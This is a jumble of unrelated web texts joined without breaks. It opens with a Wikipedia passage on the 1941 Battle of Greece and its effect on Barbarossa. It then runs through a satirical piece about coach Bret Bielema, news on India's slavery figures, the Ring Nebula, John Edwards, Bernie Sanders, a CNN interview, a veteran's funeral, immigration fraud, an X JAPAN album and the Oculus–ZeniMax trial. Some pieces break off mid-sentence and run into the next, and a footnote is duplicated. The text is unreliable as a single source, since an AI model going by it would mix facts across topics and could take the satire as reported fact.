Freyberg and Blamey also had serious doubts about the feasibility of the operation but failed to express their reservations and apprehensions. The campaign caused a furore in Australia, when it became known that when General Blamey received his first warning of the move to Greece on 18 February 1941, he was worried but had not informed the Australian Government. He had been told by Wavell that Prime Minister Menzies had approved the plan. The proposal had been accepted by a meeting of the War Cabinet in London at which Menzies was present but the Australian Prime Minister had been told by Churchill that both Freyberg and Blamey approved of the expedition. On 5 March, in a letter to Menzies, Blamey said that "the plan is, of course, what I feared: piecemeal dispatch to Europe" and the next day he called the operation "most hazardous". Thinking that he was agreeable, the Australian Government had already committed the Australian Imperial Force to the Greek Campaign.
Impact on Operation Barbarossa [ edit ]
In 1942, members of the British Parliament characterised the campaign in Greece as a "political and sentimental decision". Eden rejected the criticism and argued that the UK's decision was unanimous and asserted that the Battle of Greece delayed Operation Barbarossa, the Axis invasion of the Soviet Union. This is an argument that historians used to assert that Greek resistance was a turning point in World War II. According to film-maker and friend of Adolf Hitler Leni Riefenstahl, Hitler said that "if the Italians hadn't attacked Greece and needed our help, the war would have taken a different course. We could have anticipated the Russian cold by weeks and conquered Leningrad and Moscow. There would have been no Stalingrad". Despite his reservations, Brooke seems also to have conceded that the Balkan Campaign delayed the offensive against the Soviet Union.
Bradley and Buell conclude that "although no single segment of the Balkan campaign forced the Germans to delay Barbarossa, obviously the entire campaign did prompt them to wait." On the other hand, Richter calls Eden's arguments a "falsification of history". Basil Liddell Hart and de Guingand point out that the delay of the Axis invasion of the Soviet Union was not among Britain's strategic goals and as a result the possibility of such a delay could not have affected its decisions about Operation Marita. In 1952, the Historical Branch of the UK Cabinet Office concluded that the Balkan Campaign had no influence on the launching of Operation Barbarossa. According to Robert Kirchubel, "the main causes for deferring Barbarossa's start from 15 May to 22 June were incomplete logistical arrangements and an unusually wet winter that kept rivers at full flood until late spring." This does not answer whether in the absence of these problems the campaign could have begun according to the original plan. Keegan writes:
In the aftermath, historians would measure its significance in terms of the delay Marita had or had not imposed on the unleashing of Barbarossa, an exercise ultimately to be judged profitless, since it was the Russian weather, not the contingencies of subsidiary campaigns, which determined Barbarossa's launch date.
Antony Beevor wrote in 2012 about the current thinking of historians with regard to delays caused by German attacks in the Balkans that "most accept that it made little difference" to the eventual outcome of Barbarossa. US Army analyst Richard Hooker, Jr., calculates that the 22 June start date of Barbarossa was sufficient for the Germans to advance to Moscow by mid-August, and he says that the victories in the Balkans raised the morale of the German soldier. Historian David Glantz wrote that the German invasion of the Balkans "helped conceal Barbarossa" from the Soviet leadership, and contributed to the German success in achieving strategic surprise. Glantz states that while the Balkans operations contributed to delays in launching Barbarossa, these acted to discredit Soviet intelligence reports which accurately predicted the initially planned invasion date. Jack P. Greene agrees that "other factors were more important" as regards the delaying of Barbarossa, but he also argues that the Panzer divisions, which had been in service during Operation Marita, "had to undergo refit".
Notes [ edit ]
^ a: Sources do not agree on the number of the soldiers the British Empire managed to evacuate. According to British sources, 50,732 soldiers were evacuated. But of these, according to G.A. Titterton, 600 men were lost in the troopship (the former Dutch liner) Slamat. Adding 500–1,000 stragglers who reached Crete, Titterton estimates that "the numbers that left Greece and reached Crete or Egypt, including British and Greek troops, must have been around 51,000." Gavin Long (part of Australia's official history of World War II) gives a figure around 46,500, while, according to W. G. McClymont (part of New Zealand's official history of World War II), 50,172 soldiers were evacuated. McClymont points out that "the differences are understandable if it is remembered that the embarkations took place at night and in great haste and that among those evacuated there were Greeks and refugees."
^ b: On two preceding occasions Hitler had agreed that the Mediterranean and Adriatic were exclusively Italian spheres of interest. Since Yugoslavia and Greece were situated within these spheres, Mussolini felt entitled to adopt whatever policy he saw fit.
^ c: According to the United States Army Center of Military History, "the almost immediate setbacks of the Italians only served to heighten Hitler's displeasure. What enraged the Führer most was that his repeated statements of the need for peace in the Balkans had been ignored by Mussolini."
Nevertheless, Hitler had given Mussolini the green light to attack Greece six months earlier, acknowledging Mussolini's right to do as he saw fit in his acknowledged sphere of influence. ^ d: According to Buckley, Mussolini preferred that the Greeks would not accept the ultimatum but that they would offer some kind of resistance. Buckley writes, "documents later discovered showed that every detail of the attack had been prepared... His prestige needed some indisputable victories to balance the sweep of Napoleonic triumphs of Nazi Germany."
^ e: According to the United States Army Center of Military History, the Greeks informed the Yugoslavs of this decision and they in turn made it known to the German Government. Papagos writes: This, incidentally, disposes of the German assertion that they were forced to attack us only in order to expel the British from Greece, for they knew that, if they had not marched into Bulgaria, no British troops would have landed in Greece. Their assertion was merely an excuse on their part to enable them to plead extenuating circumstances in justification of their aggression against a small nation, already entangled in a war against a Great Power. But, irrespective of the presence or absence of British troops in the Balkans, German intervention would have taken place firstly because the Germans had to secure the right flank of the German Army which was to operate against Russia according to the plans already prepared in autumn 1940 and secondly because the possession of the southern part of the Balkan Peninsula commanding the eastern end of the Mediterranean was of great strategic importance for Germany's plan of attacking Great Britain and the line of Imperial communications with the East.
^ f: During the night of 6 April 1941, while the German invasion had already begun, the Yugoslavs informed the Greeks that they would implement the plan: they would attack the Italian troops in the morning of the next day at 6:00 a.m. At 3:00 a.m. of 7 April, the 13th division of the Greek Epirus Army attacked the Italian troops, occupied two heights and captured 565 Italians (15 officers and 550 soldiers). Nevertheless, the Yugoslav offensive would not take place and on 8 April, the Greek headquarters ordered the pause of the operation.[19]
^ g: Although earmarked for Greece, the Polish Independent Carpathian Rifle Brigade and the Australian 7th Division were kept by Wavell in Egypt because of Erwin Rommel's successful thrust into Cyrenaica.
^ gh: Although earmarked for Greece, the Polish Independent Carpathian Rifle Brigade and the Australian 7th Division were kept by Wavell in Egypt because of Erwin Rommel's successful thrust into Cyrenaica.
Citations [ edit ]
References [ edit ]
Further reading [ edit ]
Newspapers
WebsitesNew Arkansas head football coach Bret Bielema revealed at a press conference today that his decision to leave the University of Wisconsin was not based on any personal desire, but rather that he had merely "followed the chart", specifically an elaborate life chart he uses to guide his every decision.
Bielema explained his decision: "Yeah, what happened was that after the Big 10 championship game, I looked at the chart, and there are like these rows and columns that tell you what to do when certain things happen. Well when we beat Nebraska, the rows and columns matched up and the chart said'move to Arkansas'. I didn't really want to leave Madison and move to Fayetteville, but the chart said to go, so I went."
The chart, which Bielema had drawn up by a team of accountants, drinking buddies and psychics, lists combinations of unlikely events and then recommends actions should those combinations arise. "The idea is that when weird stuff goes down, I can rely on the chart to make smart decisions quickly," said Bielema. "That way I'm not wasting time trying to figure out what to do when, say, "Animal Hospital" sweeps the Emmys at the same time that Maryland and Rutgers join the Big 10. The chart says I chug a brewski in that scenario. Simple"
Bielema stressed to skeptical reporters that his decision was not at all influenced by considerations of money or the challenge of coaching in the SEC. "I really don't get what all the commotion is about. We've done the math on these things, and there must be a good reason the chart said I can't stay in Wisconsin. You think I want to go play LSU and Alabama every year? You think I want to recruit against Texas and Oklahoma instead of Minnesota and Iowa? No, but that's not the point. At some point, my personal preferences have to be put aside for the good of the chart."
The new Razorbacks head coach went on to explain that he developed the chart after seeing how well his two-point conversion chart worked for the Wisconsin football team. "I got some heat for using the chart a few years ago, but the team kept winning, so I thought: there must be something to this. That's when I had the brainstorm to use charts in other areas of life."
Bielema explained that his use of charts has gone beyond the merely strategic and that he has developed it into a new philosophy/quasi-religion that he calls "chartism".
"Living by the chart is just so... so freeing. You don't have to think, you don't have to worry -- just look at the row, look at the column, and boom, you know that it's time to get a fresh crew cut." Bielema has his general life chart, as well as specific sub-charts devoted to food, sex, clothing and many other topics. "Here, let me give you a starter charts. They'll change your life, I promise!"
The starry-eyed coach then proceeded to hand out pamphlets entitled "Is Chartism for You?" to the collected media. The pamphlet, produced by Bielema himself, consisted of a short history of his new religion and a simple life chart, every square of which recommended that the reader follow chartism. After handing out the pamphlets, Bielema then consulted his media relations chart, noticed that he had answered ten questions at the same time that the Pope had joined Twitter, and took the indicated action: flipping everyone the bird and fleeing on his Harley. As his form disappeared into the night, he could be heard to yell, "Sorry 'bout that guys, it wasn't me -- it was the cha-a-a-a-a-a-a-rt!"Out of 167 countries in the world, India has the highest number of people living in slavery. Here are the key numbers. Photo: Getty Images
India has more people living in modern slavery than the population of the Netherlands, a new report estimates.
Of the 167 countries surveyed, the South Asian country has the highest number of people living in slavery--more than 18 million people, or 1.4% of the population.
The 2016 Global Slavery Index from the Walk Free Foundation said modern slavery comes in many forms, from domestic to sexual to bonded and child labor. The term refers to a situation in which a person has taken away another’s freedom so they can be exploited.
Globally, 45.8 million people are enslaved, the report estimated. The countries with the highest prevalence as a proportion of the population were North Korea, Uzbekistan, Cambodia, India, and Qatar. But India, China, Pakistan, Bangladesh and Uzbekistan had the highest absolute numbers.
“All forms of modern slavery continue to exist in India, including intergenerational bonded labor, forced child labor, commercial sexual exploitation, forced begging, forced recruitment into non-state armed groups and forced marriage,” the report said.
It is hard to know exactly how many people are subject to slavery, the authors of the report admitted. In India, Gallup conducted the surveys in 15 states that were used as the basis for the estimate.
Among the sectors known known to use slave labor in India were the construction, sex, agriculture, fishing and manufacturing industries as well as domestic help and begging, the report said.
An Indian bonded child laborer cried during a raid and rescue operation conducted by the Bachpan Bachao Andolan, or Save the Childhood Movement, in New Delhi, India, Nov. 10, 2009. Photo: Agence France-Presse/Getty Images
Indian law doesn’t differentiate between human trafficking and sex work, so it is difficult to know how many people are stuck in sexual slavery, the report said.
The survey also counted people who had been forced into marriage and children who were forced into armed opposition groups. The country’s brick making business is one of the worst offenders the report said.
“The country’s steady population growth and the corresponding demand for improvement of infrastructure and increased dwellings have enabled the ʻblood bricks’ produced in these industries to continue,” it said.
Pakistan had the third-largest number of people in modern slavery, more than 2 million.
Bonded labor is |
find in the summer and autumn sky. Even through a small telescope you can make out that inner ring, which looks like a hazy smoke ring floating in the eyepiece. It looks almost like the solid disk of a planet, which is why these objects are called planetary nebulae.
But what’s truly amazing is all that outer material roiling around it, completely invisible in nearly every picture I’ve seen. That stuff is ethereally thin and incredibly faint, so it only shows up in deep images taken with big telescopes.
All of this gas was expelled by the star in the very center of the nebula, which was once very much like the Sun (though probably about twice our star’s mass). After billions of years of converting hydrogen to helium in its core and generating fierce amounts of energy, it started to run out of fuel. The star expanded into a red giant, blowing a wind of subatomic particles into space; that’s what makes up the shells of gas you see in the deep image.
Eventually, the star started to contract, heating up and blowing a faster wind that caught up with and slammed into the older material. That’s what forms the brighter inner ring. Interestingly, it’s not actually shaped like a ring: Studies have shown it’s actually barrel-shaped and oriented so that we’re looking down the barrel. It only appears to be shaped like a ring due to our viewing angle.
Advertisement
All of that is cool just by itself. But wait! There’s more!
While assembling the images together, van der Hoeven noticed something odd. A foreground star that happened to lie between us and the inner ring appeared to move between images. Curious, he found older images of the nebula, one from 1959 and another from as far back as 1922! Adding them together, you can clearly see this star moving across the frame:
How cool is that? The triangle connects three fixed stars, and the moving star—called 2MASS 18533272+3301234—is the red one in the middle of the triangle. Its motion is real: Like planets orbiting the Sun, stars orbit the center of the Milky Way galaxy. That motion can be hundreds of kilometers per second, but appears diminished to invisibility due to their vast distances. Over time, though, it adds up, and can be detected. Astronomers call this proper motion. This star seems to be moving about 0.1 arcseconds per year, a very small amount: The Moon is 1800 arcseconds across, so it would take this star nearly 20 millennia to move across a parcel of the sky the size of the Moon.
However, with telescopes, and the patience to wait 90 years, that motion is still detectable. Van der Hoeven also did some rough measurements and found the star is likely to be about 800 light years away, about a third of the distance to the Ring nebula itself.Story highlights Edwards "has repeatedly admitted to his sins" but committed no crime, lawyers say
Justice Department says it won't re-try John Edwards
The ex-Democratic presidential candidate was accused of campaign finance violations
Edwards was acquitted on one count and jurors deadlocked on the rest
Federal prosecutors dropped the remaining charges against former Democratic presidential candidate John Edwards on Wednesday, less than two weeks after his corruption trial ended in an acquittal and mistrial.
The Justice Department had accused Edwards of using nearly $1 million in illegal campaign contributions to keep his pregnant mistress under wraps as he mounted a second presidential bid in 2008. But after more than 50 hours of deliberation, a North Carolina jury acquitted him on one of the six counts against him and deadlocked on the other five.
Lanny Breuer, the head of the Justice Department's criminal division, said prosecutors respect the judgment of the jury and would not bring the case to trial again.
"We knew that this case -- like all campaign finance cases -- would be challenging," Breuer said in a written statement on the decision. "But it is our duty to bring hard cases when we believe that the facts and the law support charging a candidate for high office with a crime."
JUST WATCHED Jurors wanted to hear from John Edwards Replay More Videos... MUST WATCH Jurors wanted to hear from John Edwards 04:11
JUST WATCHED John Edwards to launch new project Replay More Videos... MUST WATCH John Edwards to launch new project 04:11
JUST WATCHED Jurors: Not enough evidence on Edwards Replay More Videos... MUST WATCH Jurors: Not enough evidence on Edwards 01:10
JUST WATCHED John King: Edwards meets 'humbling' end Replay More Videos... MUST WATCH John King: Edwards meets 'humbling' end 01:32
Edwards' lawyers said in a statement, "We are confident that the outcome of any new trial would have been the same."
"While John has repeatedly admitted to his sins, he has also consistently asserted, as we demonstrated at the trial, that he did not violate any campaign law nor even imagined that any campaign laws could apply," they said.
Edwards, 61, won a U.S. Senate seat from North Carolina in 1998. He ran for president in 2004, when he ended up as the Democrats' nominee for vice president, and again in 2008, when he dropped out of the reace after a poor showing in the early primaries.
In August 2008, he admitted to an affair with onetime campaign videographer Rielle Hunter, but denied paternity of the daughter she had given birth to six months earlier. He eventually acknowledged paternity, and after the May 31 mistrial, he talked about "my precious Quinn, who I love more than any of you can ever imagine."
Prosecutors argued that Edwards took $925,000 from two high-powered donors to pay for Hunter's living and medical expenses, travel and other costs to keep her out of sight while he sought the presidency -- contributions that amounted to illegal, undisclosed campaign donations. Former Edwards aide Andrew Young testified that he allowed Hunter to move in with him and his wife at Edwards' request after newspapers began looking into a possible affair within the Edwards campaign.
Edwards' lawyers argued he was guilty of being a bad husband to his wife, Elizabeth, who died of cancer in 2010, but had committed no crime. They also told jurors that Young, the government's star witness, used the contributions for his own gain.
"As we stated in our motions and arguments," his lawyers said Wednesday. "It should be addressed, if at all, by the Federal Election Commission, which our evidence showed seems to have agreed with our views on the law."Image copyright Getty Images Image caption The Sanders campaign is on a winning streak
Bernie Sanders can now boast four wins in a row and victories in six of the last seven contests for the Democratic presidential nomination.
Despite all the talk about the challenges he faces in trying to catch Hillary Clinton, it's still a remarkable achievement given how far back he started from the former secretary of state when the race began last year.
The Vermont senator wasn't in Wisconsin to relish the win, however. He chose to spend primary night instead at a rally in Wyoming, which holds its Democratic caucus on Saturday.
For Mr Sanders every delegate counts if he wants to catch Mrs Clinton - a formidable task given the sizable lead she built up by routing the Vermont senator in contests across the South last month.
But even if it doesn't give him much of a delegate boost, this Wisconsin result does offer Mr Sanders that most precious of political commodities - momentum.
He'll likely post another victory in Wyoming, and then all eyes turn to New York in two weeks - where Mr Sanders grew up and Mrs Clinton served as a senator for six years.
Mr Sanders, if his recent string of victories is to be anything more than a political footnote, will need to attract black and Hispanic votes in numbers he has yet achieve. If he can do that, then the narrative in this race stops being Mrs Clinton's inevitability and becomes a question of whether the front-runner can hang on.
Image copyright AP Image caption Mr Sanders has attracted large crowds to his campaign rallies
If New York is the key, however, Mr Sanders's campaign there may be stumbling out of the gate. Today he received a raft of negative press for an interview he gave with the editorial board of the Daily News, a New York City newspaper, that critics say exposes his thin grasp on the issues - and foreign policy in particular.
When asked about Israeli-relations, the senator said he didn't know the answer to some questions and wasn't qualified to respond to others. He said he hasn't thought much about where so-called Islamic State leaders captured by the US should be held and didn't know whether President Barack Obama has the right policy to deal with IS.
He even demurred on questions about whether the US government has the authority to order the breakup of banks that the president determines are too powerful.
"If a bank is too big to fail, it is too big to exist," he said. "And then you have the secretary of treasury and some people who know a lot about this, making that determination."
More on the 2016 campaign
Media playback is unsupported on your device Media caption Will Sanders fans support Clinton should she win the nomination?
Gloves come off for Clinton and Sanders - It's crunch time in the Democratic race and nerves are starting to fray
#BernieMadeMeWhite: Minority supporters of Sanders speak out - Supporters push back against "all-white" narrative
Trump, Clinton and the 'None of the Above' era - Rarely have those running for high office been held in such low esteem
Full US election coverage from the BBC
The headlines following the interview were scathing. "This New York Daily News interview was pretty close to a disaster for Bernie Sanders," read the Washington Post.
"Even on bread-and-butter matters like breaking up the big banks, the Democratic presidential hopeful came across as tentative, unprepared or unaware," wrote the Atlantic's David Graham.
It didn't take long for the Clinton camp to pounce, either.
"We've said for a long time that this primary is about who's really going to be able to get things done," the campaign said in a news release on Tuesday night. "And from reading this interview, you get the impression Senator Sanders hasn't thought very much about that."
New York politics can be rough and tumble. The tabloid culture in the New York City tends to reward politicians who are both aggressive and thick-skinned.
The Wisconsin win was sweet for Mr Sanders, but he is about to face the biggest test of his campaign. In two weeks he could be on his way back in the race - or left licking his wounds.The mainstream media’s ongoing crusade against President Donald Trump hit yet another new low on Wednesday afternoon, August 23, when Wolf Blitzer, host of the Cable News Network’s weekday Situation Room program, let a Democratic guest slam the Republican occupant of the White House as “out of control” and compared Trump’s attacks on the press to tactics used by Nazi Germany.
Blitzer teed up the attack by asking Rep. John Garamendi of California: “So we all saw one version of President Trump last night in Phoenix. We saw another version today. How do you reconcile that?”
The Democrat responded: “There's no way to reconcile it, except in Trump's own words. … [I]f you want to know what a person believes, listen to them when they're not using a teleprompter. That's basically what Trump believes, and we saw two different displays.”
He added:
One, Trump using a teleprompter; very nice words, very conciliatory words, almost certainly written by somebody other than Trump. And then the night before, we saw the real Trump, a man that is totally, totally out of control and engaged in rhetoric that slams the press which, by the way, happens to be the very first thing that a dictator will do to secure his position.
“When you suggest the words that the president is doing, what dictators try to do in stifling or criticizing or blasting the news media,” Blitzer stated in a softball statement, “just elaborate a second on that. I want you to be precise.”
“I'll be very precise,” Garamendi responded. “If one were to look at Nazi Germany, that was the very early part of their tenure,... to delegitimize the press. They constantly attacked the press.”
“And that's exactly what this president is doing,” he continued. Trump “is using a tactic that is not only in that particular country, but around the world to delegitimize, to muzzle or to, in many cases, just destroy the free press.”
Blitzer then asked: "Well, just to follow up, Congressman, because those are strong words: Are you suggesting the president wants to be a dictator?”
The Democratic guest replied: “He's certainly power hungry. There's no doubt about that. … He certainly wants to push the Congress aside. He's already taken into the judicial system by going after federal judges, and it goes on and on.”
“This man is clearly not fit to be president,” Garamendi stated. “This man does not have the demeanor or the temperament to be president, but he is our president.”
The host then lobbed another softball question to his guest: “When you say he's unfit to be president, elaborate on that. What do you mean by that: mentally unfit, politically unfit? Talk a little bit about that.”
“Well, I don't like his politics,” Garamendi answered, “but that's not what I'm talking about. What I'm talking about is his temperament. We saw what happened at the now very famous press conference a week ago at the Trump Tower where he was totally out of control.”
He continued:
And last night at the rally, with one lie after another, with one demonizing the press in one word and then the next word tearing into his political allies that he has to have for the passage of any legislation, [Arizona GOP Senator John] McCain and other senators. I mean, this is not a -- this is not a person that is thinking rationally about what's important. He's just flying off the handle, and that is extremely dangerous.
“The word of the president is absolutely essential, not just in domestic politics and with the Congress, but more importantly, with our allies and our opponents around the world,” the Democrat continued. “When the president says something, people have to rely on that as being not only factual, but also that is a clear demonstration of [his] view.”
“And so when he ripped into, what, ‘fire and fury’ two weeks ago, what did that mean?” he asked. “Everybody thought it might mean nuclear war. Well, perhaps it did; we don't know. And that is what creates the uncertainty.”
“What is the opponent, in this case [North Korea leader] Kim Jong-un, to think?” Garamendi added. “Is he coming after me with nuclear weapons? If so, how do I respond? Do I respond first while I have the weapons?”
“So that's the kind of uncertainty that this president is creating in international affairs, in security issues and just the chaos of Washington is every day getting worse,” the guest concluded.
Judging from this interview, Blitzer views his role as the person not to ask hard questions, but someone who provides liberal guests with the opportunity to expand on what they’ve just said. And if that includes remarks about Nazi Germany, then the CNN host apparently believes he has done his job.We realize it’s been a while since our last update on the PlayStation®4 and Xbox One versions of TERA, so Matt Denomme, our Senior Product Manager, took the time to put together a quick video, providing you with a status update on the project. This video also gives you the details on our upcoming technical test of TERA on PlayStation®4 and Xbox One.
Check it out:
In case you didn’t have your calendar handy when Matt rattled off those dates, the TERA Console technical test begins Thursday, December 14 and continues until Monday, December 18. Codes to access the test will be distributed to players early next week.
It’s also important to keep in mind that the scope of this technical test is limited—so don't be discouraged if you don't receive an invitation. We're planning to host a much wider Beta Test for the console version of TERA early next year.A dispute over a Ringgold veteran's funeral has gotten the attention of thousands on social media.
Family members of George Taylor shared pictures of the veteran's body displayed on a gurney with a flag draped on top.
There was no coffin for the visitation that happened at Heritage Funeral Home on Battlefield Parkway.
As of 1 p.m. on Friday, Ella Moss' post about this on Facebook has been shared more than 1800 times.
Taylor's family says Heritage Funeral Home in Fort Oglethorpe refused to put Taylor in a casket because of problems with the life insurance payment.
"At first we were okay with it but like I told the guy, I said this was very disrespectful to my dad," said Taylor.
Watch a tribute video to Taylor here.
Taylor's son, James Taylor, says they were given little to no notice prior to the visitation of the problem. He says he and another family member agreed but felt it was a disgrace to his father.
He also claims the funeral home refused to bury his father until they received payment.
"They came to me and told me that unless that nine thousand dollars was paid, they couldn't put him into the ground, he would have to sit in the freezer until we paid it or (until) the insurance came through," said Taylor.
NewsChannel 9 spoke to the funeral home representatives who say they did what the family asked.
"We were trying to honor the request and let them have some closure by viewing their loved one," David Cummings with the funeral home said.
They also say they did nothing wrong in the matter and their main priority is serving their community.
"We serve this community. We love the community. we serve this community in everything we do," said Cummings.
They also said since the photo was shared on social media, they've been receiving threats from the community.
While outside Friday, NewsChannel 9 met a woman who claimed to be the veteran's sister-in-law. She told us she disputes Taylor's claims.
When we asked her if she was was okay with how Taylor looked during his visitation, she replied, "His son was too. We shook on it. The three of us shook on it and then all of a sudden, somebody comes in and wants to stir up trouble," said Beverly Roe.
She also said she's on the side with funeral home.
"These guys haven't done anything. They were so nice," said Roe.
The funeral home and the family came to an agreement before Friday afternoon's service. Taylor was placed in a coffin in time for the service and the burial.
The Chattanooga National Cemetery says they reached out to the funeral home this morning after a worker at the cemetery, also a veteran, saw the post and expressed concern. Director Charles Arnold says he contacted the funeral home and was told Taylor would be placed in a proper casket for the burial.
"We wanted to make sure that this burial would meet our standards as we would do with every veteran," said Arnold.
As word got out and Taylor's funeral procession to the Chattanooga National Cemetery got underway, some people who got word of the story on social media made a point to pay him tribute.
The woman in the picture, Tiffany Lambert, had more to say on our Facebook page:
She says, "I had to. Someone has to show this man the respect he deserves I only played the song as they loaded this American Soldier up - Thank you sir for your service and God Bless The USA!"
NewsChannel9 is working to confirm more details. Depend on us for the latest on this developing story.Three former immigration consultants have received 18-month sentences and will have to pay large fines for their roles in B.C.'s biggest-ever immigration fraud scheme.
Jin (Fanny) Ma, Wen (Vivian)Jiang and Ming Kun (Makkie) Wu were sentenced under the Immigration and Refugee Protection Act, the Income Tax Act and the criminal code Tuesday afternoon in a Vancouver courtroom.
Pei Jia Li peeks through the doors after his hearing at the Immigration and Refugee Board in Vancouver in November. He was ruled 'inadmissible to Canada' for having fraudulent entry and exit stamps in his passport. (Harold Dupuis/CBC )
The women are former employees of Xun (Sunny) Wang and New Can Consultants and had pleaded guilty to several charges including passport offences, misrepresentation, forgery and tax evasion.
Wang was charged in October 2012, pleaded guilty and was sentenced to seven years in prison and fined $900,000 in one of the biggest immigration scams in Canadian history
A total of nine of Wang's employees were charged. Three others are going through the courts and the last three have warrants out for their arrest.
In addition to the 18-month sentences in provincial jail, the women will have to pay fines assessed on their crimes.
In a statement, Canada Border Services Agency (CBSA) says the women "financially gained by committing fraud for their clients, did not report their income to the Canada Revenue Agency and applied for tax credits to which they were not entitled."
Ma has been fined $96,000. Jiang $74,000 and Wu $50,000.
The crown had asked for three-year sentences.
Immigration consultant Eric Leung, left, and client Guo Liang Lin, right. Lin admits he signed documents that said he lived in Canada three times longer than he actually had, to obtain permanent residency. Lin was with a different immigration company at the time. (Manjula Dufresne/CBC )
The long and complex investigation began in 2012 after immigration employees in Alberta noticed that many permanent residence applicants had the same addresses in Edmonton, Calgary and Vancouver.
Wang falsely used his own home in Richmond as an address for 114 of his clients who didn't live in Canada.
According to CBSA figures, over 1,647 clients of New Can Consulting paid approximately $10 million for fraudulent services over a seven-year period from 2006-2013.
The consultants created fake patterns of Canadian residency to help their clients meet residency requirements for permanent residence and Canadian citizenship.
They had an elaborate scheme to obtain stamps in passports for fictitious travel dates. They also falsified employment information.
Harald Wuigk, CBSA's assistant director of criminal investigations, says the sentences send a'serious message' of deterrence. (Dillon Hodgin/CBC )
In updated figures supplied to the CBC, the CBSA alleges 373 of Wang's former customers obtained permanent residency under false pretenses. And more than 200 others may have lied in order to become Canadian citizens.
Many deportation orders issued
The CBSA says another 456 ex-clients remain under investigation, while 236 have "lost status through other processes," including voluntarily giving up their permanent residency or Canadian citizenship.
That brings the total number of people deported or facing possible deportation to more than 1,300.
So far, 71 removal orders have been issued, but some are pending appeals.
A total of 27 have been removed from Canada, according to the agency.
In an interview after the sentencing, Harald Wuigk, CBSA's assistant director of criminal investigations said it "sends a serious message … to persons who try to contravene Canada's border laws."
"This is a serious case and it involves the integrity of Canada's immigration system. The Canada border services agency takes these violations very seriously and takes great pains to investigate and recommend for prosecution such cases," he said.X JAPAN will be celebrating their 25th anniversary this year, and in honor of that, they have finally announced the release of their best of album to the world! Not only will they be releasing it as a CD, but they will also release it digitally in 111 countries all over the world!
The digital version of the album will be available on the iTunes Store starting from 2014/05/21 (Wed). The hard copy of the album will be released on 2014/06/17 (Tue), so you can almost get it a month earlier, if you purchase the album on iTunes!
Check out the release details below!
"THE WORLD～X JAPAN World Best～"
Digital Release Date: 2014/05/21 (Wed)
Release Date: 2014/06/17 (Tue)
First Press Limited Deluxe Edition BOX (2 CD + 1 DVD + 60 page photobook)
Price : 4,600yen + tax
CD1 TRACK LIST
1.Silent Jealousy
2.Rusty Nail
3.SCARS
4.ENDLESS RAIN
5.WEEK END
6.紅
7.Forever Love
8.DAHLIA
9.X（THE LAST LIVE～最後の夜 / saigo no yoru～ LIVE VERSION）
10.Without you
CD2 TRACK LIST
1.ART OF LIFE
DVD CONTENTS
・Exclusive Trailer of X JAPAN World Tour Live 2009, 2010 & 2011
Standard Edition (2 CD)
Price : 3,000yen + tax
CD1 TRACK LIST
1.Rusty Nail
2.SCARS
3.Forever Love
4.DAHLIA
5.X（THE LAST LIVE～最後の夜 / saigo no yoru～ LIVE VERSION)
6.Without you（LIVE VERSION）
CD2 TRACK LIST
1.ART OF LIFE
Links:Bubble Tip Anemone
A bubble tip anemone (Entacmaea quadricolor) glows ethereally in the light of the photographers strobes. The anenomes have a symbiotic relationship with zooxanthellae that provide them with the majority of their nutrients. The color of the anemone is dictated by the color of the zooxanthellae. Bubble tip anemones come in a variety of colors, orange, brown, rose, red, green and very rarely red-white and green which is one of the most stunning underwater sights one can be lucky enough to see. The bulbs are not always inflated, and it is thought that the anemone only inflates when it is happy with its surroundings. These anemones host various species of clown fish and are found across the Indo-Pacific area.
Image taken by Hannah Jane using a Nikon D7000 with a AF-S Micro Nikon 60mm f/2.8G ED at ƒ/22.0, 60.0 mm, 1/60 ISO 100 using an Ikelite housing and DS-161 strobes.As talks about a potential partnership between Oculus and ZeniMax broke down in 2012, things began to get nasty and ZeniMax became threatening, Oculus co-founder Brendan Iribe testified in a Dallas courtroom today.
At one point, Iribe said under oath, Bethesda Softworks’ president called the Oculus team “kids” and threatened to stop then-id Software CTO John Carmack from working on anything else VR related if Oculus didn’t sign a partnership deal.
The counter-proposal on the table at the in-person November 2012 meeting would have given ZeniMax 15 percent equity interest in Oculus.
The day’s testimony in the $2 billion lawsuit over who developed the tech behind the Oculus Rift VR headset opened with Oculus’ attorney working to establish Iribe’s technical prowess and background.
They delved into his early interest in video games and computers and how he eventually went on to study electrical engineering in college. In school, he met Oculus chief software architect Michael Antonov and they bonded over their shared interest in programming before dropping out to form their own company.
This company eventually went on to become Scaleform, the business that was later acquired by Autodesk in 2011 for over $36 million.
This focus on software was used to set up Iribe’s desire to hire singular talent for Oculus such as Jack McCauley, part of the original team that created the first Guitar Hero controller; robotics and computer vision expert Steve LeValle; and an engineer who built the company’s custom sensor tech.
Establishing that Oculus had such a dedicated engineering focus was used by Oculus’ attorney to try and show that Carmack only acted in an advisory role for Oculus. The defense also showed emails that rebuked Carmack’s advice or demonstrated instances where Carmack himself said that Oculus code and implementation was superior to his own solutions. Through all this, Iribe and Oculus attorneys were adamant that no ZeniMax code was involved, as the new sensor built by Oculus would be incompatible with anything Carmack originally shared under NDA early in 2012.
The defense also tried to use emailed exchanges between Iribe and then-id Software president Todd Hollenshead and current creative director Tim Willits, to further establish the idea that no one at ZeniMax provided opposition about their use of the Rage or Doom 3 BFG Edition software. This is also after sharing with them Iribe’s entire PAX schedule of press demonstrations and Willits’ hands-on demonstration in late 2012.
These email threads culminated in a late September 2012 proposal from Iribe to Hollenshead that offered 2 percent equity for allowing Carmack to engage in a technical advisor role and an additional offer for investor equity at either a seed round or Series A financing.
But ZeniMax balked at the offer, instead proposing that it get 15 percent nondilutable equity in Oculus, which is unheard of according to Iribe.
This led to an in-person meeting at Bethesda between Iribe, Antonov and Bethesda Softworks president Vlatko Andonov, who Iribe said is known for his “colorful” personality. They failed to reach an agreement. Iribe described Andonov as condescending and said at one point the Bethesda president told the trio of Oculus founders, “You guys are just kids, you should be working with us.” Iribe went on to say that the representative said that if Oculus didn’t sign “they wouldn't let [Carmack] work on anything VR-related."
In cross-examination, ZeniMax’ attorney made it clear that the company felt that the 15 percent equity stake would have been representative of the contributions Carmack made to Rift. His work on the Rift, ZeniMax argued, included technical assistance and head and neck modeling.
The attorney then delved into what ZeniMax was calling the “id Five,” five employees that were working at id Software and left to join Oculus. An email presented in court from Carmack listed ex-id employees as well as then-current ones that “wouldn’t surprise” Carmack if they left.
A series of other emails presented in court showed an exchange between Oculus co-founder Nate Mitchell and Iribe which talked about reaching out to some of those still at id. That led to the id Five flying out to Oculus for a meeting. But Iribe disputed the attorney’s take on the visit, saying it was an innocuous visit that turned into a job interview once they told him how unhappy they had become at id Software following ZeniMax’s takeover. They also said they were contemplating their own company, Iribe said.
